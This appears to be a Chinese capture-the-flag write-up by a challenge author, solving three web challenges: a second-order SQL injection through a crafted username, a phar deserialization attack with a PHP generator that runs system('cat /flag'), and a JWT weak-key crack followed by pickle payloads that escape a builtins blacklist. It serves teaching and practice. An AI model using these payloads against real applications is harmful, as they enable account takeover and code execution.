跳转至

Web

二次注入

这道题考察的是简单的二次SQL注入,出题壬希望同学们可以通过这道简单的例题初步了解二次SQL注入。

本题的预期内容还包含了通过robots.txt中的内容拿到源码,进行审计,不过似乎出题出的太简单了,大家都没用到。。。

在robots.txt里面包含了如下内容

User-agent: *
Disallow: /backup.zip

下载下来审计可以看的更明白一些。首先注册和登陆都不存在漏洞,出题壬也就掠过去不讲了,直接看修改密码的地方存在的漏洞

$x=$db->execute("update users set password=? where username='$username' ",['s',&$password]);

这里直接将username拼接到sql语句中了,而这个username是在注册时选定的,因此想要实现注入,需要在注册的时候,就直接设定用户名为admin'-- -。

这样一来,登陆上去修改密码的时候,sql语句就成了

update users set password=? where username='admin' -- -'

(其中?指的是被绑定的参数,我们无论如何修改它都不会改变原本的语义) 而这个语句中username后面就成了admin' -- -',在MySQL中--[空格]是注释符,把SQL语句后面注释掉了,因此这句话相当于修改admin的密码。

因此在修改密码后登出,就可以用这个密码登陆admin账号获取flag了

反序列化?

相信大家看到问号应该知道这道题主要考的不是反序列化了吧(不会真有人在纠结反序列化吧)

解题方法

先观察vulnerable.php啊,主页上都提示了,发现了一个很显然能导致RCE的类,下面有一个file_exists函数,不会有人真觉得这边是检查上传文件是否成功吧。file_exists函数再检查phar包的时候会将其解析,利用这点进行代码执行。

使用如下代码生成一个phar包(带上gif文件头,因为上传那边会检查),然后修改后缀名上传即可,然后使用phar协议phar://upload/xxx.gif即可拿到flag。

<?php

class Flag
{
    private $code;

    function __construct($my_code)
    {
        $this->code = $my_code;
    }

    function __destruct()
    {
        eval($this->code);
    }
}



$phar = new Phar('phar1.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$object = new Flag("system('cat /flag');");
$phar->setMetadata($object);
$phar->stopBuffering();

ezcode

出题思路

考察JWT爆破、pickle反序列化的沙箱逃逸(变量篡改)。

解题过程

进入首页,跳转至登陆界面,要求输入token登陆。下面有个注册,先随便注册一个账号,返回了一个JWT。
使用该JWT登陆进去,提示没有权限。尝试以admin注册账号,失败。很明显是要伪造admin账户的JWT。
通过对之前注册的账号的JWT进行弱密钥爆破(直接用top1000就能爆破出来),得到加密密钥:qwerty,从而伪造admin账户的JWT。
以admin登陆后,出现一个pickle在线工具,查看网页源码,有注释:

want2know=xxx

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {
        'sys','eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit','getattr'
        }

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

...

        pickle_data=request.form.get('data')

        if pickle_data==None:
            return open('templates/pickle.html').read()

        try:
            pickle_data=base64.b64decode(pickle_data.encode())


            op_blackli=[b'R']

            for op in op_blackli:
                if op in pickle_data:
                    return '数据非法!'+op.decode()
            data=restricted_loads(pickle_data)

        except Exception:

            return "请输入正确的数据格式!"

        try:
            secret=request.form.get('secret')
        except Exception:
            return open('templates/pickle.html')

        if want2know==secret:
            return flag
        else:
            return '欢迎使用HACHp1的pickle测试工具!'
    else:
        return '没有权限查看!\n'

很明显是pickle反序列化,限制了builtins模块,禁止了R执行函数,并且黑名单限制了一些敏感子模块,只要want2know==secret正确就能得到flag,这里可以通过globals()locals()得到变量列表,通过i执行函数,修改列表达到篡改变量的目的,从而得到flag。一种可行的payload:

b"(ibuiltins\nglobals\np0\n0g0\nS'want2know'\nS'hachp1'\ns."

# 或

b"(ibuiltins\nlocals\np0\n0g0\nS'want2know'\nS'hachp1'\ns."

推荐使用pker:

glo_dic=INST('builtins','globals')
glo_dic['want2know']='hachp1'
return

# 或

glo_dic=INST('builtins','locals')
glo_dic['want2know']='hachp1'
return

非预期

由于本人忘记过滤__getattribute__造成出现了能getshell的非预期解,在这里惭愧一下。构造过程也比较有意思,有兴趣的师傅可以自己尝试。

评论